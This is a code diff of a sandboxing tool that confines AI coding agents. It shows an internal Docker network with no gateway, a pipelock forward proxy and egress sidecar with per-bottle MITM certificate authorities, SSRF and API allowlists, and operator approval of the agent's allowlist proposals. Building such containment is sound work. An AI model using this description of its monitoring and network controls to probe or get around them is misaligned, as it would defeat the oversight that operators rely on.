# source IPs — so the bottle's own internal CIDR doesn't
# need to be in `ssrf.ip_allowlist`. Pre-create + CIDR
# introspection are gone; compose owns the network
# lifecycle.
internal_network = network_mod.network_name_for_slug(plan.slug)
egress_network = network_mod.network_egress_name_for_slug(plan.slug)
# Mint per-bottle CAs into state/<slug>/{pipelock,egress}/.
ca_cert_host, ca_key_host = pipelock_tls_init(pipelock_state_dir(plan.slug))
egress_ca_host, egress_ca_cert_only = egress_tls_init(
egress_state_dir(plan.slug),
)
# Populate launch-time fields on every inner plan so the
# renderer reads concrete network names, CA paths, and
# pipelock URL.
proxy_plan = dataclasses.replace(
plan.proxy_plan,
internal_network=internal_network,
internal_network_cidr="",
egress_network=egress_network,
ca_cert_host_path=ca_cert_host,
ca_key_host_path=ca_key_host,
)
git_gate_plan = plan.git_gate_plan
if git_gate_plan.upstreams:
git_gate_plan = dataclasses.replace(
@@ -116,13 +149,17 @@ def launch(
internal_network=internal_network,
egress_network=egress_network,
)
egress_plan = dataclasses.replace(
plan.egress_plan,
internal_network=internal_network,
egress_network=egress_network,
mitmproxy_ca_host_path=egress_ca_host,
mitmproxy_ca_cert_only_host_path=egress_ca_cert_only,
)
egress_plan = plan.egress_plan
if egress_plan.routes:
egress_plan = dataclasses.replace(
egress_plan,
internal_network=internal_network,
egress_network=egress_network,
mitmproxy_ca_host_path=egress_ca_host,
mitmproxy_ca_cert_only_host_path=egress_ca_cert_only,
pipelock_ca_host_path=ca_cert_host,
pipelock_proxy_url=BUNDLE_LOCAL_PIPELOCK_URL,
)
supervise_plan = plan.supervise_plan
if supervise_plan is not None:
supervise_plan = dataclasses.replace(
@@ -131,6 +168,7 @@ def launch(
)
plan = dataclasses.replace(
plan,
proxy_plan=proxy_plan,
git_gate_plan=git_gate_plan,
egress_plan=egress_plan,
supervise_plan=supervise_plan,
@@ -180,7 +218,7 @@ def launch(
agent_command=plan.agent_command,
agent_prompt_mode=plan.agent_prompt_mode,
)
bottle.prompt_path = provision(plan, bottle)
bottle._prompt_path = provision(plan, bottle)
# Step 9: yield. exec_agent continues to use `docker exec -it`
# — the agent runs `sleep infinity` per the renderer's
bot_bottle/backend/docker/network.py
+14 -5
View File
@@ -1,10 +1,11 @@
"""Docker network plumbing for the per-agent egress topology.
The agent container sits on a Docker `--internal` network (no default
gateway). Egress straddles that network and a per-agent user-defined
bridge for upstream traffic. We deliberately do NOT use Docker's legacy
gateway). Pipelock straddles that network and a per-agent user-defined
bridge for upstream egress. We deliberately do NOT use Docker's legacy
`bridge` network because only user-defined bridges run Docker's
embedded DNS resolver, which egress needs to resolve upstream hostnames.
embedded DNS resolver, which pipelock needs to resolve api.anthropic.com
and similar upstream hostnames.
Naming: bot-bottle-net-<slug> (internal),
bot-bottle-egress-<slug> (egress). Numeric suffix on conflict
@@ -76,12 +77,20 @@ def network_create_internal(slug: str) -> str:
def network_create_egress(slug: str) -> str:
"""Create a per-agent user-defined bridge (NOT the legacy `bridge`)
so the egress sidecar has working DNS for upstream hostnames."""
so the pipelock sidecar has working DNS for upstream hostnames."""
return _network_create_with_prefix(network_egress_name_for_slug(slug), internal=False)
def network_inspect_cidr(name: str) -> str:
"""Return the IPv4 CIDR Docker assigned to a user-defined network."""
"""Return the IPv4 CIDR Docker assigned to a user-defined network.
Used by pipelock's SSRF guard exception: the bottle's internal
network sits in RFC1918 space, so pipelock's `internal:` list
would block any agent request whose destination resolves there
— including the cred-proxy sidecar's address. Adding the
network's CIDR to pipelock's `ssrf.ip_allowlist` lets traffic
targeted at the bottle's own sidecars through while pipelock
still body-scans and api_allowlist-gates as usual."""
result = subprocess.run(
["docker", "network", "inspect",
"--format", "{{range .IPAM.Config}}{{.Subnet}}{{end}}", name],
bot_bottle/backend/docker/pipelock.py
+81
View File
@@ -0,0 +1,81 @@
"""Docker-side pipelock helpers: image pin, container naming, and
the one-shot `pipelock tls init` host-side CA mint. The
prepare-time YAML rendering itself lives on the platform-neutral
`PipelockProxy` ABC — backends instantiate it directly.
The per-container `.start()` / `.stop()` lifecycle was deleted in
PRD 0024 chunk 3; compose-up owns the container lifecycle (PRD
0018) and the bundle path (PRD 0024) collapses pipelock + egress
+ git-gate + supervise into one container."""
from __future__ import annotations
import os
import subprocess
from pathlib import Path
from ...log import die
# Re-exported for the compose renderer + smolmachines launch step
# (they used to import these from this module before they moved to
# the platform-neutral pipelock module).
from ...pipelock import ( # noqa: F401
PIPELOCK_CA_CERT_IN_CONTAINER,
PIPELOCK_CA_KEY_IN_CONTAINER,
)
# Pipelock image, pinned by digest. The digest is the multi-arch image
# index for ghcr.io/luckypipewrench/pipelock:2.3.0.
PIPELOCK_IMAGE = os.environ.get(
"BOT_BOTTLE_PIPELOCK_IMAGE",
"ghcr.io/luckypipewrench/pipelock@sha256:3b1a39417b98406ddc5dc2d8fcb42865ddc0c68a43d355db55f0f8cb06bc6de9",
)
# Listening port for pipelock's forward proxy.
PIPELOCK_PORT = os.environ.get("BOT_BOTTLE_PIPELOCK_PORT", "8888")
# The URL egress dials for its upstream HTTPS_PROXY. egress and
# pipelock share the same container's network namespace inside the
# sidecar bundle, so loopback reaches pipelock directly — no docker
# DNS aliases involved.
BUNDLE_LOCAL_PIPELOCK_URL = f"http://127.0.0.1:{PIPELOCK_PORT}"
def pipelock_tls_init(stage_dir: Path) -> tuple[Path, Path]:
"""Generate a fresh per-bottle CA via a one-shot pipelock container.
Runs `pipelock tls init` against a host-mounted scratch dir, leaving
`ca.pem` (public cert, mode 600) and `ca-key.pem` (private key, mode
600) under `<stage_dir>/pipelock-ca/`. Returns the two host paths.
The image is pinned (same digest the running sidecar uses) so the
generated CA matches what the sidecar expects. Output is owned by
whatever UID the one-shot ran as; the compose renderer's
bind-mounts pin the files in place at runtime, so ownership
inside the running sidecar (root in pipelock's distroless image)
is independent."""
work = stage_dir / "pipelock-ca"
work.mkdir(exist_ok=True)
result = subprocess.run(
["docker", "run", "--rm",
"-v", f"{work}:/h",
"-e", "PIPELOCK_HOME=/h",
PIPELOCK_IMAGE, "tls", "init"],
capture_output=True,
text=True,
check=False,
)
if result.returncode != 0:
die(f"pipelock tls init failed: {result.stderr.strip()}")
cert = work / "ca.pem"
key = work / "ca-key.pem"
if not cert.is_file() or not key.is_file():
die(f"pipelock tls init did not produce ca files in {work}")
# Explicit perms in case a future pipelock release changes
# defaults. Pipelock runs as root in its distroless image and
# bind-mounts work with 0o600 (root reads everything); the key
# has no reason to be readable to anyone else on the host.
key.chmod(0o600)
cert.chmod(0o644)
return (cert, key)
bot_bottle/backend/docker/pipelock_apply.py
+200
View File
@@ -0,0 +1,200 @@
"""pipelock_apply — host-side helper to apply an api_allowlist
change to a running pipelock sidecar (PRD 0015).
Used by the supervise dashboard when the operator approves a
pipelock-block proposal (or runs the operator-initiated `pipelock
edit <bottle>` verb). Fetches the current pipelock.yaml via `docker
exec`, parses it, swaps the api_allowlist with the proposed hosts,
re-renders, writes back via the bind-mount path, then signals the
bundle supervisor to restart the pipelock daemon (`docker kill
--signal USR1`) so
pipelock picks up the new config.
v1 uses restart, not SIGHUP — pipelock has no in-process reload
hook and adding one is the "SIGHUP reload for pipelock" open
question in PRD 0015. Restart drops in-flight outbound calls; the
agent's HTTP client retries pick up against the restarted proxy.
"""
from __future__ import annotations
import os
import re
import subprocess
import tempfile
from pathlib import Path
from ...pipelock import pipelock_render_yaml
from ...yaml_subset import YamlSubsetError, parse_yaml_subset
from .bottle_state import pipelock_state_dir
from .sidecar_bundle import sidecar_bundle_container_name
def _pipelock_yaml_host_path(slug: str) -> Path:
"""The bind-mount source for the pipelock sidecar's
pipelock.yaml — matches what pipelock.prepare wrote at chunk-2
paths."""
return pipelock_state_dir(slug) / "pipelock.yaml"
PIPELOCK_YAML_IN_CONTAINER = "/etc/pipelock.yaml"
# Allowlist proposals are one-hostname-per-line. Blank lines and
# `#`-prefixed comments are ignored. The character set matches the
# supervise sidecar's syntactic check on the agent's pipelock-block
# proposal (alphanumerics + dot/dash/underscore).
_HOST_OK = re.compile(r"^[A-Za-z0-9_.-]+$")
class PipelockApplyError(RuntimeError):
"""Raised when fetch / parse / apply fails. The dashboard renders
the message and keeps the proposal pending — never crashes."""
def parse_allowlist_content(content: str) -> list[str]:
"""One hostname per line. Blanks and `#` comments are ignored.
Raises PipelockApplyError if a line has a disallowed character."""
hosts: list[str] = []
for i, raw_line in enumerate(content.splitlines(), start=1):
line = raw_line.strip()
if not line or line.startswith("#"):
continue
if not _HOST_OK.match(line):
raise PipelockApplyError(
f"allowlist line {i}: {line!r} has disallowed characters"
)
hosts.append(line)
return hosts
def render_allowlist_content(hosts: list[str]) -> str:
"""Hosts → one-per-line string (the operator-facing format)."""
if not hosts:
return ""
return "\n".join(hosts) + "\n"
def fetch_current_yaml(slug: str) -> str:
"""Read the live /etc/pipelock.yaml from the sidecar bundle.
Uses `docker cp` because pipelock inside the bundle is the
distroless pipelock binary with no shell, and `docker cp` is a
daemon-API tarball copy that works regardless of what's
available inside the container.
Raises PipelockApplyError if the read fails."""
container = sidecar_bundle_container_name(slug)
fd, tmp_path = tempfile.mkstemp(prefix="cb-pipelock-fetch.", suffix=".yaml")
os.close(fd)
try:
r = subprocess.run(
[
"docker", "cp",
f"{container}:{PIPELOCK_YAML_IN_CONTAINER}", tmp_path,
],
capture_output=True, text=True, check=False,
)
if r.returncode != 0:
raise PipelockApplyError(
f"could not fetch pipelock.yaml from {container}: "
f"{(r.stderr or '').strip() or 'container not running?'}"
)
return Path(tmp_path).read_text()
finally:
try:
Path(tmp_path).unlink()
except OSError:
pass
def fetch_current_allowlist(slug: str) -> str:
"""Fetch the live yaml, extract api_allowlist, render as one-per-
line — the operator-facing format for the TUI / agent's
current-config mount."""
yaml = fetch_current_yaml(slug)
try:
cfg = parse_yaml_subset(yaml)
except YamlSubsetError as e:
raise PipelockApplyError(f"running pipelock yaml: {e}") from e
hosts = cfg.get("api_allowlist", [])
if not isinstance(hosts, list):
raise PipelockApplyError(
"running pipelock yaml: api_allowlist is not a list"
)
return render_allowlist_content([str(h) for h in hosts])
def apply_allowlist_change(
slug: str, new_allowlist_content: str,
) -> tuple[str, str]:
"""Apply `new_allowlist_content` to the sidecar bundle:
1. Parse the proposed hosts (one per line).
2. Fetch + parse current pipelock.yaml.
3. Replace api_allowlist with the proposed hosts; re-render.
4. Write the new yaml to the bind-mount source.
5. `docker kill --signal USR1 <bundle>` so the supervisor
restarts the pipelock daemon in place (leaving egress,
git-gate, and supervise running). Pipelock has no
in-process reload; the supervisor's per-daemon restart
keeps the agent's MCP socket alive — a whole-bundle
`docker restart` would bounce supervise too.
Returns (before, after) where both are one-per-line allowlist
strings (operator-facing format). Raises PipelockApplyError on
any failure; the sidecar's existing config stays in place until
the host write succeeds, and the SIGUSR1 is what makes it
live."""
new_hosts = parse_allowlist_content(new_allowlist_content)
container = sidecar_bundle_container_name(slug)
current_yaml = fetch_current_yaml(slug)
try:
cfg = parse_yaml_subset(current_yaml)
except YamlSubsetError as e:
raise PipelockApplyError(f"running pipelock yaml: {e}") from e
current_hosts = cfg.get("api_allowlist", [])
if not isinstance(current_hosts, list):
raise PipelockApplyError(
"running pipelock yaml: api_allowlist is not a list"
)
before = render_allowlist_content([str(h) for h in current_hosts])
after = render_allowlist_content(new_hosts)
cfg["api_allowlist"] = new_hosts
rendered = pipelock_render_yaml(cfg)
# pipelock.yaml is bind-mounted into the container as a SINGLE
# FILE — same Docker single-file inode issue as egress_apply:
# write-temp-then-rename swaps the host inode and leaves the
# container's mount pointing at the orphaned old one. Write
# in-place. The SIGUSR1 below makes the new content live
# (pipelock has no in-process reload, so the supervisor
# restarts the pipelock daemon in response).
target = _pipelock_yaml_host_path(slug)
target.parent.mkdir(parents=True, exist_ok=True)
target.write_text(rendered)
# pipelock runs as root in its distroless image — any mode is
# fine — but 0o600 matches what prepare wrote.
target.chmod(0o600)
restart = subprocess.run(
["docker", "kill", "--signal", "USR1", container],
capture_output=True, text=True, check=False,
)
if restart.returncode != 0:
raise PipelockApplyError(
f"failed to signal {container} for pipelock restart: "
f"{(restart.stderr or '').strip()}"
)
return before, after
__all__ = [
"PIPELOCK_YAML_IN_CONTAINER",
"PipelockApplyError",
"apply_allowlist_change",
"fetch_current_allowlist",
"fetch_current_yaml",
"parse_allowlist_content",
"render_allowlist_content",
]
bot_bottle/backend/docker/prepare.py
+15 -4
View File
@@ -20,6 +20,7 @@ from ...egress import Egress
from ...env import ResolvedEnv, resolve_env
from ...git_gate import GitGate
from ...log import die
from ...pipelock import PipelockProxy
from ...supervise import Supervise
from ...workspace import workspace_plan as resolve_workspace_plan
from .. import BottleSpec
@@ -35,6 +36,7 @@ from .bottle_state import (
per_bottle_dockerfile,
per_bottle_dockerfile_path,
per_bottle_image_tag,
pipelock_state_dir,
supervise_state_dir,
write_metadata,
)
@@ -51,6 +53,7 @@ def resolve_plan(
validation already ran in the base class."""
docker_mod.require_docker()
proxy = PipelockProxy()
git_gate = GitGate()
egress = Egress()
supervise = Supervise()
@@ -188,6 +191,12 @@ def resolve_plan(
guest_env.setdefault(key, val)
agent_provision = replace(agent_provision, guest_env=guest_env)
pipelock_dir = pipelock_state_dir(slug)
pipelock_dir.mkdir(parents=True, exist_ok=True)
proxy_plan = proxy.prepare(
bottle, slug, pipelock_dir, agent_provision.egress_routes,
)
egress_dir = egress_state_dir(slug)
egress_dir.mkdir(parents=True, exist_ok=True)
egress_plan = egress.prepare(
@@ -200,16 +209,17 @@ def resolve_plan(
# root; for `--cwd` derived images the base Dockerfile is what
# the agent should propose changes against (the derived layer
# is just a workspace copy).
# (routes.yaml used to land here too but PRD 0017 chunk 3
# moved it behind the `list-egress-routes` MCP tool so the
# agent gets live state rather than a launch-time snapshot.)
# (routes.yaml + pipelock allowlist used to land here too but
# PRD 0017 chunk 3 moved them behind the
# `list-egress-routes` MCP tool so the agent gets live
# state rather than a launch-time snapshot.)
supervise_dockerfile_path = (
Path(dockerfile_path)
if dockerfile_path
else Path(__file__).resolve().parent.parent.parent.parent / "Dockerfile.claude"
)
dockerfile_content = (
supervise_dockerfile_path.read_text(encoding="utf-8")
supervise_dockerfile_path.read_text()
if supervise_dockerfile_path.is_file()
else ""
)
@@ -234,6 +244,7 @@ def resolve_plan(
env_file=env_file,
forwarded_env=forwarded_env,
prompt_file=prompt_file,
proxy_plan=proxy_plan,
git_gate_plan=git_gate_plan,
egress_plan=egress_plan,
supervise_plan=supervise_plan,
bot_bottle/backend/docker/provision/ca.py
+16 -5
View File
@@ -1,8 +1,19 @@
"""Install the per-bottle egress MITM CA into the agent container's
trust store.
"""Install the per-bottle MITM CA into the agent container's trust
store.
By the time this provisioner runs, `egress_tls_init` has generated
the egress CA and the path is re-bound into `plan.egress_plan`.
Post-PRD-0017 the CA depends on the agent's HTTP_PROXY target:
- Bottle declares `egress.routes[]` → agent's HTTP_PROXY
points at egress; the cert the agent must trust is the
one egress mints leaf certs with (the egress CA).
- No egress routes → agent's HTTP_PROXY points straight at
pipelock; the cert the agent must trust is pipelock's CA (the
pre-cutover behavior).
By the time this provisioner runs, the corresponding `tls_init`
helper has generated the chosen CA under `plan.stage_dir`, and the
sidecar (pipelock or egress) is up referencing the
in-container CA paths.
Cert lands on Debian's standard source path
(`/usr/local/share/ca-certificates/`); `update-ca-certificates`
@@ -29,7 +40,7 @@ def provision_ca(plan: DockerBottlePlan, bottle: Bottle) -> None:
"""Copy the agent-facing CA cert into the agent, rebuild the
trust bundle, emit a one-line fingerprint log. Called from
`BottleBackend.provision` after the agent container is up."""
cert_host_path, label = select_ca_cert(plan.egress_plan)
cert_host_path, label = select_ca_cert(plan.egress_plan, plan.proxy_plan)
bottle.cp_in(str(cert_host_path), AGENT_CA_PATH)
bottle.exec(
bot_bottle/backend/docker/sidecar_bundle.py
+6 -5
View File
@@ -2,10 +2,10 @@
(PRD 0024).
The bundle image (built by Dockerfile.sidecars, PRD 0024 chunk 1)
runs egress + git-gate + supervise as one container per bottle
under a small Python init supervisor. As of chunk 5 the bundle
is the only shape — the legacy four-sidecar topology and its
`BOT_BOTTLE_SIDECAR_BUNDLE` feature flag are gone."""
runs pipelock + egress + git-gate + supervise as one container
per bottle under a small Python init supervisor. As of chunk 5
the bundle is the only shape — the legacy four-sidecar topology
and its `BOT_BOTTLE_SIDECAR_BUNDLE` feature flag are gone."""
from __future__ import annotations
@@ -14,7 +14,8 @@ import os
# Bundle image. Defaults to a built-locally tag (built from the
# repo's Dockerfile.sidecars via compose `build:`). Operators
# pinning to a published digest can override via env.
# pinning to a published digest can override via env, matching
# the existing `BOT_BOTTLE_PIPELOCK_IMAGE` shape.
SIDECAR_BUNDLE_IMAGE = os.environ.get(
"BOT_BOTTLE_SIDECAR_IMAGE",
"bot-bottle-sidecars:latest",
bot_bottle/backend/smolmachines/bottle.py
+4 -4
View File
@@ -19,7 +19,7 @@ from __future__ import annotations
import subprocess
import sys
from typing import Mapping, cast
from typing import Mapping
from ...agent_provider import PromptMode, prompt_args
from .. import Bottle, ExecResult
@@ -72,7 +72,7 @@ class SmolmachinesBottle(Bottle):
# In-VM path to the agent's prompt file. None when the
# agent declared no prompt (file still exists; we just
# don't pass --append-system-prompt-file).
self.prompt_path = prompt_path
self._prompt_path = prompt_path
# Env vars the agent process needs (HTTPS_PROXY,
# CLAUDE_CODE_OAUTH_TOKEN, manifest-declared bottle env, …).
# Forwarded on every `smolvm machine exec` via `-e K=V`
@@ -93,9 +93,9 @@ class SmolmachinesBottle(Bottle):
agent_tail = ["env", *_env_assignments_for("node", self._guest_env),
self.agent_command]
provider_prompt_args = prompt_args(
cast(PromptMode, self._agent_prompt_mode), self.prompt_path, argv=argv,
self._agent_prompt_mode, self._prompt_path, argv=argv,
)
if cast(PromptMode, self._agent_prompt_mode) == "read_prompt_file":
if self._agent_prompt_mode == "read_prompt_file":
agent_tail += argv
agent_tail += provider_prompt_args
else:
bot_bottle/backend/smolmachines/bottle_plan.py
+2
View File
@@ -12,6 +12,7 @@ from dataclasses import dataclass
from pathlib import Path
from ...agent_provider import PromptMode
from ...pipelock import PipelockProxyPlan
from .. import BottlePlan
@@ -70,6 +71,7 @@ class SmolmachinesBottlePlan(BottlePlan):
# docker's `--internal` + egress bridge topology; it's on a
# per-bottle bridge with a pinned IP. The unused fields stay
# at their dataclass defaults.
proxy_plan: PipelockProxyPlan
# Agent-side endpoints. On Docker Desktop the docker bridge
# IPs aren't reachable from the smolvm guest (TSI uses macOS
# networking; docker container IPs live in the daemon's VM),
bot_bottle/backend/smolmachines/enumerate.py
+2 -2
View File
@@ -69,8 +69,8 @@ def enumerate_active() -> list[ActiveAgent]:
def _query_bundle_services() -> dict[str, tuple[str, ...]]:
"""`{slug: ('egress', ...)}` from each running bundle container's
`BOT_BOTTLE_SIDECAR_DAEMONS` env var.
"""`{slug: ('egress', 'pipelock', ...)}` from each running
bundle container's `BOT_BOTTLE_SIDECAR_DAEMONS` env var.
Smolmachines bundles all run the PRD-0024 image with the
same daemon set declared via env, so one inspect per bundle
gets us the picture without exec'ing into the container.
bot_bottle/backend/smolmachines/launch.py
+92 -24
View File
@@ -9,9 +9,13 @@ guest pointed at the bundle's pinned IP via TSI's
exit.
The bundle's daemons consume the inner Plans the docker backend
already produces: egress reads routes + CAs from the EgressPlan.
Git-gate + supervise plumb through the same plans the docker
backend uses, minus the docker-network fields that don't apply here."""
already produces: pipelock reads its yaml + CA from the
PipelockProxyPlan; egress reads routes + CAs from the EgressPlan
+ EGRESS_UPSTREAM_PROXY pointing at `127.0.0.1:8888` (bundle
local), since the agent dials pipelock first (not egress) on the
smolmachines path. Git-gate + supervise plumb through the same
plans the docker backend uses, minus the docker-network fields
that don't apply here."""
from __future__ import annotations
@@ -25,11 +29,16 @@ from ...egress import (
EGRESS_ROUTES_IN_CONTAINER,
egress_resolve_token_values,
)
from ...pipelock import (
PIPELOCK_CA_CERT_IN_CONTAINER,
PIPELOCK_CA_KEY_IN_CONTAINER,
)
from ...supervise import QUEUE_DIR_IN_CONTAINER, SUPERVISE_PORT
from ...util import expand_tilde
from ..docker import util as docker_mod
from ..docker.egress import (
EGRESS_CA_IN_CONTAINER,
EGRESS_PIPELOCK_CA_IN_CONTAINER,
EGRESS_PORT as _EGRESS_PORT,
egress_tls_init,
)
@@ -39,9 +48,14 @@ from ..docker.git_gate import (
GIT_GATE_ENTRYPOINT_IN_CONTAINER,
GIT_GATE_HOOK_IN_CONTAINER,
)
from ..docker.pipelock import (
BUNDLE_LOCAL_PIPELOCK_URL,
PIPELOCK_PORT as _PIPELOCK_PORT_STR,
pipelock_tls_init,
)
from ...git_gate import revoke_git_gate_provisioned_keys
from ...log import warn
from ..docker.bottle_state import egress_state_dir, git_gate_state_dir
from ..docker.bottle_state import git_gate_state_dir
from . import loopback_alias as _loopback
from . import sidecar_bundle as _bundle
from . import smolvm as _smolvm
@@ -64,7 +78,9 @@ _SMOLMACHINE_CACHE_DIR = Path.home() / ".cache" / "bot-bottle" / "smolmachines"
# Container-internal listening ports for each bundle daemon. The
# bundle publishes each one on a random host loopback port (see
# `_bundle.start_bundle`), and `_bundle.bundle_host_port` looks
# them up post-start.
# them up post-start. Pipelock's port is an env-overridable string
# in docker.pipelock; coerce to int here.
_PIPELOCK_PORT = int(_PIPELOCK_PORT_STR)
_GIT_HTTP_PORT = 9420
_SUPERVISE_PORT = SUPERVISE_PORT
@@ -73,7 +89,7 @@ _SUPERVISE_PORT = SUPERVISE_PORT
def launch(
plan: SmolmachinesBottlePlan,
*,
provision: Callable[[SmolmachinesBottlePlan, "SmolmachinesBottle"], str | None],
provision: Callable[[SmolmachinesBottlePlan, str], str | None],
) -> Generator[SmolmachinesBottle, None, None]:
"""Build + run the bottle and yield a handle; tear everything
down on exit. Errors during bringup unwind any partial state
@@ -104,7 +120,7 @@ def launch(
agent_command=plan.agent_command,
agent_prompt_mode=plan.agent_prompt_mode,
)
bottle.prompt_path = provision(plan, bottle)
bottle._prompt_path = provision(plan, bottle)
yield bottle
finally:
@@ -123,7 +139,7 @@ def _teardown_smolmachines(
teardown_exc: BaseException | None = None
try:
stack.close()
except BaseException as exc: # noqa: W0718 — teardown must not fail
except BaseException as exc:
teardown_exc = exc
warn(f"smolmachines teardown failed: {exc!r}")
bottle = plan.spec.manifest.bottle_for(plan.spec.agent_name)
@@ -151,16 +167,33 @@ def _allocate_resources(
def _mint_certs(plan: SmolmachinesBottlePlan) -> SmolmachinesBottlePlan:
"""Mint the egress MITM CA and return the plan with CA paths filled."""
egress_ca_host, egress_ca_cert_only = egress_tls_init(
egress_state_dir(plan.slug),
"""Mint per-bottle CAs and return the plan with CA paths filled.
Pipelock always runs in the bundle. Egress's CA is only minted
when the bottle declares routes — otherwise egress runs idle
without MITM and the CA files would be unused."""
ca_cert_host, ca_key_host = pipelock_tls_init(plan.proxy_plan.yaml_path.parent)
proxy_plan = dataclasses.replace(
plan.proxy_plan,
ca_cert_host_path=ca_cert_host,
ca_key_host_path=ca_key_host,
)
egress_plan = dataclasses.replace(
plan.egress_plan,
mitmproxy_ca_host_path=egress_ca_host,
mitmproxy_ca_cert_only_host_path=egress_ca_cert_only,
)
return dataclasses.replace(plan, egress_plan=egress_plan)
egress_plan = plan.egress_plan
if egress_plan.routes:
egress_ca_host, egress_ca_cert_only = egress_tls_init(
plan.egress_plan.routes_path.parent,
)
egress_plan = dataclasses.replace(
egress_plan,
mitmproxy_ca_host_path=egress_ca_host,
mitmproxy_ca_cert_only_host_path=egress_ca_cert_only,
pipelock_ca_host_path=ca_cert_host,
# On smolmachines, egress's upstream is pipelock on the
# bundle's localhost — they're in the same container's
# network namespace.
pipelock_proxy_url=BUNDLE_LOCAL_PIPELOCK_URL,
)
return dataclasses.replace(plan, proxy_plan=proxy_plan, egress_plan=egress_plan)
def _start_bundle(
@@ -191,10 +224,17 @@ def _discover_urls(
macOS networking, and macOS sees the daemon's bridge via the
published-port loopback forward only.
Proxy hop order: when the bottle declares egress routes, the
agent's first hop is egress (for token injection), then
pipelock. Without routes, the agent dials pipelock directly.
NO_PROXY includes the per-bottle loopback alias so the
supervise + git-gate URLs bypass HTTPS_PROXY."""
if plan.egress_plan.routes:
agent_facing_port = _EGRESS_PORT
else:
agent_facing_port = _PIPELOCK_PORT
agent_facing_host_port = _bundle.bundle_host_port(
plan.slug, _EGRESS_PORT, host_ip=loopback_ip,
plan.slug, agent_facing_port, host_ip=loopback_ip,
)
agent_proxy_url = f"http://{loopback_ip}:{agent_facing_host_port}"
@@ -288,7 +328,8 @@ def _bundle_launch_spec(
"""Build a BundleLaunchSpec from the resolved inner Plans.
Daemons in the CSV:
- egress is always present.
- egress + pipelock are always present (pipelock is the
agent's first hop; egress is its upstream).
- git-gate + git-http are conditional on plan.git_gate_plan.upstreams.
- supervise is conditional on plan.supervise_plan.
@@ -296,15 +337,36 @@ def _bundle_launch_spec(
daemon-private values only (HTTPS_PROXY is scoped to the
egress process by egress_entrypoint.sh — see PRD 0024's bundle
bind-address PR)."""
daemons: list[str] = ["egress"]
daemons: list[str] = ["egress", "pipelock"]
env: list[str] = []
volumes: list[tuple[str, str, bool]] = []
# In this Docker-Desktop-compatible topology, whichever daemon
# is "agent-facing" gets its port published on the host
# loopback (see `_ensure_smolmachine`'s discovery loop) and the
# other stays bundle-internal. The bundle is NOT reachable by
# bridge IP from the smolvm guest on macOS — TSI uses macOS
# networking, and macOS sees the daemon's bridge via the
# published-port loopback forward only.
# --- pipelock ---------------------------------------------
pp = plan.proxy_plan
volumes += [
(str(pp.yaml_path), "/etc/pipelock.yaml", True),
(str(pp.ca_cert_host_path), PIPELOCK_CA_CERT_IN_CONTAINER, True),
(str(pp.ca_key_host_path), PIPELOCK_CA_KEY_IN_CONTAINER, True),
]
# --- egress -----------------------------------------------
ep = plan.egress_plan
volumes.append((str(ep.mitmproxy_ca_host_path), EGRESS_CA_IN_CONTAINER, True))
if ep.routes:
volumes.append((str(ep.routes_path), EGRESS_ROUTES_IN_CONTAINER, True))
env.append(f"EGRESS_UPSTREAM_PROXY={ep.pipelock_proxy_url}")
env.append(f"EGRESS_UPSTREAM_CA={EGRESS_PIPELOCK_CA_IN_CONTAINER}")
volumes += [
(str(ep.routes_path), EGRESS_ROUTES_IN_CONTAINER, True),
(str(ep.mitmproxy_ca_host_path), EGRESS_CA_IN_CONTAINER, True),
(str(ep.pipelock_ca_host_path), EGRESS_PIPELOCK_CA_IN_CONTAINER, True),
]
# Bare-name entries for upstream-token slots. Their values
# come from the docker-run subprocess env (inherited from
# the operator's shell), never landing on argv.
@@ -347,8 +409,14 @@ def _bundle_launch_spec(
# Container ports the agent reaches from the smolvm guest —
# published on host loopback so the guest can dial via TSI +
# macOS networking. Egress is always the agent's HTTP/HTTPS proxy.
ports_to_publish: list[int] = [_EGRESS_PORT]
# macOS networking. The HTTP/HTTPS chokepoint is whichever
# daemon's port we publish: egress when routes are declared
# (token injection first, then forwards to bundle-internal
# pipelock), pipelock otherwise.
if ep.routes:
ports_to_publish: list[int] = [_EGRESS_PORT]
else:
ports_to_publish = [_PIPELOCK_PORT]
if gp.upstreams:
ports_to_publish.append(_GIT_HTTP_PORT)
if sp is not None:
bot_bottle/backend/smolmachines/local_registry.py
+5 -7
View File
@@ -42,13 +42,13 @@ import time
import uuid
from contextlib import contextmanager
from dataclasses import dataclass
from typing import Generator
from typing import Iterator
from ...log import die
# registry:2.8.3, pinned by digest. Same env-override pattern as the
# sidecar image pin in bot_bottle/backend/docker/sidecar_bundle.py.
# pipelock image pin in bot_bottle/backend/docker/pipelock.py.
REGISTRY_IMAGE = os.environ.get(
"BOT_BOTTLE_REGISTRY_IMAGE",
"registry@sha256:a3d8aaa63ed8681a604f1dea0aa03f100d5895b6a58ace528858a7b332415373",
@@ -61,10 +61,7 @@ REGISTRY_IMAGE = os.environ.get(
# narrow.
CRANE_IMAGE = os.environ.get(
"BOT_BOTTLE_CRANE_IMAGE",
(
"gcr.io/go-containerregistry/crane@sha256:"
"0ae17ecb34315aa7cbff28f6eddee3b7adae0b2f90101260d990804db1eb0084"
),
"gcr.io/go-containerregistry/crane@sha256:0ae17ecb34315aa7cbff28f6eddee3b7adae0b2f90101260d990804db1eb0084",
)
@@ -98,7 +95,7 @@ class RegistryHandle:
@contextmanager
def ephemeral_registry() -> Generator[RegistryHandle, None, None]:
def ephemeral_registry() -> Iterator[RegistryHandle]:
"""Bring up a per-session docker network + a `registry:2.8.3`
container on it (published on a random host port), yield a
`RegistryHandle`, force-remove both on exit.
@@ -208,6 +205,7 @@ def _host_port(name: str) -> int:
return int(port_str)
except ValueError:
die(f"unexpected `docker port` output: {line!r}")
return -1 # unreachable; die() never returns
def _wait_ready(port: int) -> None:
bot_bottle/backend/smolmachines/loopback_alias.py
+5 -3
View File
@@ -47,6 +47,7 @@ from __future__ import annotations
import fcntl
import json
import os
import platform
import re
import sqlite3
@@ -176,11 +177,11 @@ def force_allowlist(machine_name: str, allowed_cidrs: list[str]) -> None:
con.close()
def allocate(_slug: str) -> str:
def allocate(slug: str) -> str:
"""Pick the lowest-numbered alias from the pool not already
in use by a running smolmachines bundle. Bails when the pool
is exhausted — the caller should report the limit to the
operator. `_slug` is logged for traceability; not otherwise
operator. `slug` is logged for traceability; not otherwise
used (no on-disk reservation, allocation is purely
docker-state-driven).
@@ -195,7 +196,7 @@ def allocate(_slug: str) -> str:
if not _is_macos():
return "127.0.0.1"
_ALLOC_LOCK_PATH.parent.mkdir(parents=True, exist_ok=True)
with open(_ALLOC_LOCK_PATH, "w", encoding="utf-8") as lf:
with open(_ALLOC_LOCK_PATH, "w") as lf:
fcntl.flock(lf, fcntl.LOCK_EX)
return _allocate_locked()
@@ -211,6 +212,7 @@ def _allocate_locked() -> str:
